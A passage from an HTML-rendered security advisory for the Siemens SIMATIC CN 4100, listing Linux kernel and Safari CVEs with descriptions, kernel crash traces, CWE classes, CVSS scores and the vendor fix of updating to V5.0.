versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-23160\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: mediatek: vcodec: Fix a resource leak related to the scp device in FW initialization On Mediatek devices with a system companion processor (SCP) the mtk_scp structure has to be removed explicitly to avoid a resource leak. Free the structure in case the allocation of the firmware structure fails during the firmware initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-31257\n<div class=\"csaf-accordion-content\">\n\nThis issue was addressed with improved memory handling. This issue is fixed in Safari 18.5, iOS 18.5 and iPadOS 18.5, macOS Sequoia 15.5, tvOS 18.5, visionOS 2.5, watchOS 11.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.7\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37931\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: adjust subpage bit start based on sectorsize When running machines with 64k page size and a 16k nodesize we started seeing tree log corruption in production. This turned out to be because we were not writing out dirty blocks sometimes, so this in fact affects all metadata writes. When writing out a subpage EB we scan the subpage bitmap for a dirty range. If the range isn't dirty we do bit_start++; to move onto the next bit. The problem is the bitmap is based on the number of sectors that an EB has. So in this case, we have a 64k pagesize, 16k nodesize, but a 4k sectorsize. This means our bitmap is 4 bits for every node. With a 64k page size we end up with 4 nodes per page. To make this easier this is how everything looks [0 16k 32k 48k ] logical address [0 4 8 12 ] radix tree offset [ 64k page ] folio [ 16k eb ][ 16k eb ][ 16k eb ][ 16k eb ] extent buffers [ | | | | | | | | | | | | | | | | ] bitmap Now we use all of our addressing based on fs_info->sectorsize_bits, so as you can see the above our 16k eb->start turns into radix entry 4. When we find a dirty range for our eb, we correctly do bit_start += sectors_per_node, because if we start at bit 0, the next bit for the next eb is 4, to correspond to eb->start 16k. However if our range is clean, we will do bit_start++, which will now put us offset from our radix tree entries. In our case, assume that the first time we check the bitmap the block is not dirty, we increment bit_start so now it == 1, and then we loop around and check again. This time it is dirty, and we go to find that start using the following equation start = folio_start + bit_start * fs_info->sectorsize; so in the case above, eb->start 0 is now dirty, and we calculate start as 0 + 1 * fs_info->sectorsize = 4096 4096 >> 12 = 1 Now we're looking up the radix tree for 1, and we won't find an eb. What's worse is now we're using bit_start == 1, so we do bit_start += sectors_per_node, which is now 5. If that eb is dirty we will run into the same thing, we will look at an offset that is not populated in the radix tree, and now we're skipping the writeout of dirty extent buffers. The best fix for this is to not use sectorsize_bits to address nodes, but that's a larger change. Since this is a fs corruption problem fix it simply by always using sectors_per_node to increment the start bit.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-37968\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: opt3001: fix deadlock due to concurrent flag access The threaded IRQ function in this driver is reading the flag twice: once to lock a mutex and once to unlock it. Even though the code setting the flag is designed to prevent it, there are subtle cases where the flag could be true at the mutex_lock stage and false at the mutex_unlock stage. This results in the mutex not being unlocked, resulting in a deadlock. Fix it by making the opt3001_irq() code generally more robust, reading the flag into a variable and using the variable value at both stages.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38322\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix crash in icl_update_topdown_event() The perf_fuzzer found a hard-lockup crash on a RaptorLake machine: Oops: general protection fault, maybe for address 0xffff89aeceab400: 0000 CPU: 23 UID: 0 PID: 0 Comm: swapper/23 Tainted: [W]=WARN Hardware name: Dell Inc. Precision 9660/0VJ762 RIP: 0010:native_read_pmc+0x7/0x40 Code: cc e8 8d a9 01 00 48 89 03 5b cd cc cc cc cc 0f 1f ... RSP: 000:fffb03100273de8 EFLAGS: 00010046 .... Call Trace: icl_update_topdown_event+0x165/0x190 ? ktime_get+0x38/0xd0 intel_pmu_read_event+0xf9/0x210 __perf_event_read+0xf9/0x210 CPUs 16-23 are E-core CPUs that don't support the perf metrics feature. The icl_update_topdown_event() should not be invoked on these CPUs. It's a regression of commit: f9bdf1f95339 (\"perf/x86/intel: Avoid disable PMU if !cpuc->enabled in sample read\") The bug introduced by that commit is that the is_topdown_event() function is mistakenly used to replace the is_topdown_count() call to check if the topdown functions for the perf metrics feature should be invoked. Fix it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38347\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to do sanity check on ino and xnid syzbot reported a f2fs bug as below: INFO: task syz-executor140:5308 blocked for more than 143 seconds. Not tainted 6.14.0-rc7-syzkaller-00069-g81e4f8d68c66 #0 \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message. task:syz-executor140 state:D stack:24016 pid:5308 tgid:5308 ppid:5306 task_flags:0x400140 flags:0x00000006 Call Trace: context_switch kernel/sched/core.c:5378 [inline] __schedule+0x190e/0x4c90 kernel/sched/core.c:6765 __schedule_loop kernel/sched/core.c:6842 [inline] schedule+0x14b/0x320 kernel/sched/core.c:6857 io_schedule+0x8d/0x110 kernel/sched/core.c:7690 folio_wait_bit_common+0x839/0xee0 mm/filemap.c:1317 __folio_lock mm/filemap.c:1664 [inline] folio_lock include/linux/pagemap.h:1163 [inline] __filemap_get_folio+0x147/0xb40 mm/filemap.c:1917 pagecache_get_page+0x2c/0x130 mm/folio-compat.c:87 find_get_page_flags include/linux/pagemap.h:842 [inline] f2fs_grab_cache_page+0x2b/0x320 fs/f2fs/f2fs.h:2776 __get_node_page+0x131/0x11b0 fs/f2fs/node.c:1463 read_xattr_block+0xfb/0x190 fs/f2fs/xattr.c:306 lookup_all_xattrs fs/f2fs/xattr.c:355 [inline] f2fs_getxattr+0x676/0xf70 fs/f2fs/xattr.c:533 __f2fs_get_acl+0x52/0x870 fs/f2fs/acl.c:179 f2fs_acl_create fs/f2fs/acl.c:375 [inline] f2fs_init_acl+0xd7/0x9b0 fs/f2fs/acl.c:418 f2fs_init_inode_metadata+0xa0f/0x1050 fs/f2fs/dir.c:539 f2fs_add_inline_entry+0x448/0x860 fs/f2fs/inline.c:666 f2fs_add_dentry+0xba/0x1e0 fs/f2fs/dir.c:765 f2fs_do_add_link+0x28c/0x3a0 fs/f2fs/dir.c:808 f2fs_add_link fs/f2fs/f2fs.h:3616 [inline] f2fs_mknod+0x2e8/0x5b0 fs/f2fs/namei.c:766 vfs_mknod+0x36d/0x3b0 fs/namei.c:4191 unix_bind_bsd net/unix/af_unix.c:1286 [inline] unix_bind+0x563/0xe30 net/unix/af_unix.c:1379 __sys_bind_socket net/socket.c:1817 [inline] __sys_bind+0x1e4/0x290 net/socket.c:1848 __do_sys_bind net/socket.c:1853 [inline] __se_sys_bind net/socket.c:1851 [inline] __x64_sys_bind+0x7a/0x90 net/socket.c:1851 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Let's dump and check metadata of corrupted inode, it shows its xattr_nid is the same to its i_ino. dump.f2fs -i 3 chaseyu.img.raw i_xattr_nid [0x 3 : 3] So that, during mknod in the corrupted directory, it tries to get and lock inode page twice, result in deadlock. - f2fs_mknod - f2fs_add_inline_entry - f2fs_get_inode_page --- lock dir's inode page - f2fs_init_acl - f2fs_acl_create(dir,..) - __f2fs_get_acl - f2fs_getxattr - lookup_all_xattrs - __get_node_page --- try to lock dir's inode page In order to fix this, let's add sanity check on ino and xnid.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38491\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: make fallback action and fallback decision atomic Syzkaller reported the following splat: WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 __mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 check_fully_established net/mptcp/options.c:982 [inline] WARNING: CPU: 1 PID: 7704 at net/mptcp/protocol.h:1223 mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Modules linked in: CPU: 1 UID: 0 PID: 7704 Comm: syz.3.1419 Not tainted 6.16.0-rc3-gbd5ce2324dba #20 PREEMPT(voluntary) Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 RIP: 0010:__mptcp_do_fallback net/mptcp/protocol.h:1223 [inline] RIP: 0010:mptcp_do_fallback net/mptcp/protocol.h:1244 [inline] RIP: 0010:check_fully_established net/mptcp/options.c:982 [inline] RIP: 0010:mptcp_incoming_options+0x21a8/0x2510 net/mptcp/options.c:1153 Code: 24 18 e8 bb 2a 00 fd e9 1b df ff ff e8 b1 21 0f 00 e8 ec 5f c4 fc 44 0f b7 ac 24 b0 00 00 00 e9 54 f1 ff ff e8 d9 5f c4 fc 90 <0f> 0b 90 e9 b8 f4 ff ff e8 8b 2a 00 fd e9 8d e6 ff ff e8 81 2a 00 RSP: 0018:ffff8880a3f08448 EFLAGS: 00010246 RAX: 0000000000000000 RBX: ffff8880180a8000 RCX: ffffffff84afcf45 RDX: ffff888090223700 RSI: ffffffff84afdaa7 RDI: 0000000000000001 RBP: ffff888017955780 R08: 0000000000000001 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000 R13: ffff8880180a8910 R14: ffff8880a3e9d058 R15: 0000000000000000 FS: 00005555791b8500(0000) GS:ffff88811c495000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000110c2800b7 CR3: 0000000058e44000 CR4: 0000000000350ef0 Call Trace: tcp_reset+0x26f/0x2b0 net/ipv4/tcp_input.c:4432 tcp_validate_incoming+0x1057/0x1b60 net/ipv4/tcp_input.c:5975 tcp_rcv_established+0x5b5/0x21f0 net/ipv4/tcp_input.c:6166 tcp_v4_do_rcv+0x5dc/0xa70 net/ipv4/tcp_ipv4.c:1925 tcp_v4_rcv+0x3473/0x44a0 net/ipv4/tcp_ipv4.c:2363 ip_protocol_deliver_rcu+0xba/0x480 net/ipv4/ip_input.c:205 ip_local_deliver_finish+0x2f1/0x500 net/ipv4/ip_input.c:233 NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_local_deliver+0x1be/0x560 net/ipv4/ip_input.c:254 dst_input include/net/dst.h:469 [inline] ip_rcv_finish net/ipv4/ip_input.c:447 [inline] NF_HOOK include/linux/netfilter.h:317 [inline] NF_HOOK include/linux/netfilter.h:311 [inline] ip_rcv+0x514/0x810 net/ipv4/ip_input.c:567 __netif_receive_skb_one_core+0x197/0x1e0 net/core/dev.c:5975 __netif_receive_skb+0x1f/0x120 net/core/dev.c:6088 process_backlog+0x301/0x1360 net/core/dev.c:6440 __napi_poll.constprop.0+0xba/0x550 net/core/dev.c:7453 napi_poll net/core/dev.c:7517 [inline] net_rx_action+0xb44/0x1010 net/core/dev.c:7644 handle_softirqs+0x1d0/0x770 kernel/softirq.c:579 do_softirq+0x3f/0x90 kernel/softirq.c:480 __local_bh_enable_ip+0xed/0x110 kernel/softirq.c:407 local_bh_enable include/linux/bottom_half.h:33 [inline] inet_csk_listen_stop+0x2c5/0x1070 net/ipv4/inet_connection_sock.c:1524 mptcp_check_listen_stop.part.0+0x1cc/0x220 net/mptcp/protocol.c:2985 mptcp_check_listen_stop net/mptcp/mib.h:118 [inline] __mptcp_close+0x9b9/0xbd0 net/mptcp/protocol.c:3000 mptcp_close+0x2f/0x140 net/mptcp/protocol.c:3066 inet_release+0xed/0x200 net/ipv4/af_inet.c:435 inet6_release+0x4f/0x70 net/ipv6/af_inet6.c:487 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x402/0xb70 fs/file_table.c:465 task_work_run+0x150/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xd4 ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-667 Improper Locking\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38502\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: bpf: Fix oob access in cgroup local storage Lonial reported that an out-of-bounds access in cgroup local storage can be crafted via tail calls. Given two programs each utilizing a cgroup local storage with a different value size, and one program doing a tail call into the other. The verifier will validate each of the indivial programs just fine. However, in the runtime context the bpf_cg_run_ctx holds an bpf_prog_array_item which contains the BPF program as well as any cgroup local storage flavor the program uses. Helpers such as bpf_get_local_storage() pick this up from the runtime context: ctx = container_of(current->bpf_ctx, struct bpf_cg_run_ctx, run_ctx); storage = ctx->prog_item->cgroup_storage[stype]; if (stype == BPF_CGROUP_STORAGE_SHARED) ptr = &READ_ONCE(storage->buf)->data[0]; else ptr = this_cpu_ptr(storage->percpu_buf); For the second program which was called from the originally attached one, this means bpf_get_local_storage() will pick up the former program's map, not its own. With mismatching sizes, this can result in an unintended out-of-bounds access. To fix this issue, we need to extend bpf_map_owner with an array of storage_cookie[] to match on i) the exact maps from the original program if the second program was using bpf_get_local_storage(), or ii) allow the tail call combination if the second program was not using any of the cgroup local storage maps.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38552\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mptcp: plug races between subflow fail and subflow creation We have races similar to the one addressed by the previous patch between subflow failing and additional subflow creation. They are just harder to trigger. The solution is similar. Use a separate flag to track the condition 'socket state prevent any additional subflow creation' protected by the fallback lock. The socket fallback makes such flag true, and also receiving or sending an MP_FAIL option. The field 'allow_infinite_fallback' is now always touched under the relevant lock, we can drop the ONCE annotation on write.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.3\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38614\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: eventpoll: Fix semi-unbounded recursion Ensure that epoll instances can never form a graph deeper than EP_MAX_NESTS+1 links. Currently, ep_loop_check_proc() ensures that the graph is loop-free and does some recursion depth checks, but those recursion depth checks don't limit the depth of the resulting tree for two reasons: - They don't look upwards in the tree. - If there are multiple downwards paths of different lengths, only one of the paths is actually considered for the depth check since commit 28d82dc1c4ed (\"epoll: limit paths\"). Essentially, the current recursion depth check in ep_loop_check_proc() just serves to prevent it from recursing too deeply while checking for loops. A more thorough check is done in reverse_path_check() after the new graph edge has already been created; this checks, among other things, that no paths going upwards from any non-epoll file with a length of more than 5 edges exist. However, this check does not apply to non-epoll files. As a result, it is possible to recurse to a depth of at least roughly 500, tested on v6.15. (I am unsure if deeper recursion is possible; and this may have changed with commit 8c44dac8add7 (\"eventpoll: Fix priority inversion problem\").) To fix it: 1. In ep_loop_check_proc(), note the subtree depth of each visited node, and use subtree depths for the total depth calculation even when a subtree has already been visited. 2. Add ep_get_upwards_depth_proc() for similarly determining the maximum depth of an upwards walk. 3. In ep_loop_check(), use these values to limit the total path length between epoll nodes to EP_MAX_NESTS edges.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-674 Uncontrolled Recursion\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38670\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: arm64/entry: Mask DAIF in cpu_switch_to(), call_on_irq_stack() `cpu_switch_to()` and `call_on_irq_stack()` manipulate SP to change to different stacks along with the Shadow Call Stack if it is enabled. Those two stack changes cannot be done atomically and both functions can be interrupted by SErrors or Debug Exceptions which, though unlikely, is very much broken : if interrupted, we can end up with mismatched stacks and Shadow Call Stack leading to clobbered stacks. In `cpu_switch_to()`, it can happen when SP_EL0 points to the new task, but x18 stills points to the old task's SCS. When the interrupt handler tries to save the task's SCS pointer, it will save the old task SCS pointer (x18) into the new task struct (pointed to by SP_EL0), clobbering it. In `call_on_irq_stack()`, it can happen when switching from the task stack to the IRQ stack and when switching back. In both cases, we can be interrupted when the SCS pointer points to the IRQ SCS, but SP points to the task stack. The nested interrupt handler pushes its return addresses on the IRQ SCS. It then detects that SP points to the task stack, calls `call_on_irq_stack()` and clobbers the task SCS pointer with the IRQ SCS pointer, which it will also use ! This leads to tasks returning to addresses on the wrong SCS, or even on the IRQ SCS, triggering kernel panics via CONFIG_VMAP_STACK or FPAC if enabled. This is possible on a default config, but unlikely. However, when enabling CONFIG_ARM64_PSEUDO_NMI, DAIF is unmasked and instead the GIC is responsible for filtering what interrupts the CPU should receive based on priority. Given the goal of emulating NMIs, pseudo-NMIs can be received by the CPU even in `cpu_switch_to()` and `call_on_irq_stack()`, possibly *very* frequently depending on the system configuration and workload, leading to unpredictable kernel panics. Completely mask DAIF in `cpu_switch_to()` and restore it when returning. Do the same in `call_on_irq_stack()`, but restore and mask around the branch. Mask DAIF even if CONFIG_SHADOW_CALL_STACK is not enabled for consistency of behaviour between all configurations. Introduce and use an assembly macro for saving and masking DAIF, as the existing one saves but only masks IF.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iommu/amd: Avoid stack buffer overflow from kernel cmdline While the kernel command line is considered trusted in most environments, avoid writing 1 byte past the end of \"acpiid\" if the \"str\" argument is maximum length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-805 Buffer Access with Incorrect Length Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38677\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid out-of-boundary access in dnode page As Jiaming Zhang reported: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x1c1/0x2a0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x17e/0x800 mm/kasan/report.c:480 kasan_report+0x147/0x180 mm/kasan/report.c:593 data_blkaddr fs/f2fs/f2fs.h:3053 [inline] f2fs_data_blkaddr fs/f2fs/f2fs.h:3058 [inline] f2fs_get_dnode_of_data+0x1a09/0x1c40 fs/f2fs/node.c:855 f2fs_reserve_block+0x53/0x310 fs/f2fs/data.c:1195 prepare_write_begin fs/f2fs/data.c:3395 [inline] f2fs_write_begin+0xf39/0x2190 fs/f2fs/data.c:3594 generic_perform_write+0x2c7/0x910 mm/filemap.c:4112 f2fs_buffered_write_iter fs/f2fs/file.c:4988 [inline] f2fs_file_write_iter+0x1ec8/0x2410 fs/f2fs/file.c:5216 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x546/0xa90 fs/read_write.c:686 ksys_write+0x149/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xf3/0x3d0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f The root cause is in the corrupted image, there is a dnode has the same node id w/ its inode, so during f2fs_get_dnode_of_data(), it tries to access block address in dnode at offset 934, however it parses the dnode as inode node, so that get_dnode_addr() returns 360, then it tries to access page address from 360 + 934 * 4 = 4096 w/ 4 bytes. To fix this issue, let's add sanity check for node id of all direct nodes during f2fs_get_dnode_of_data().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div 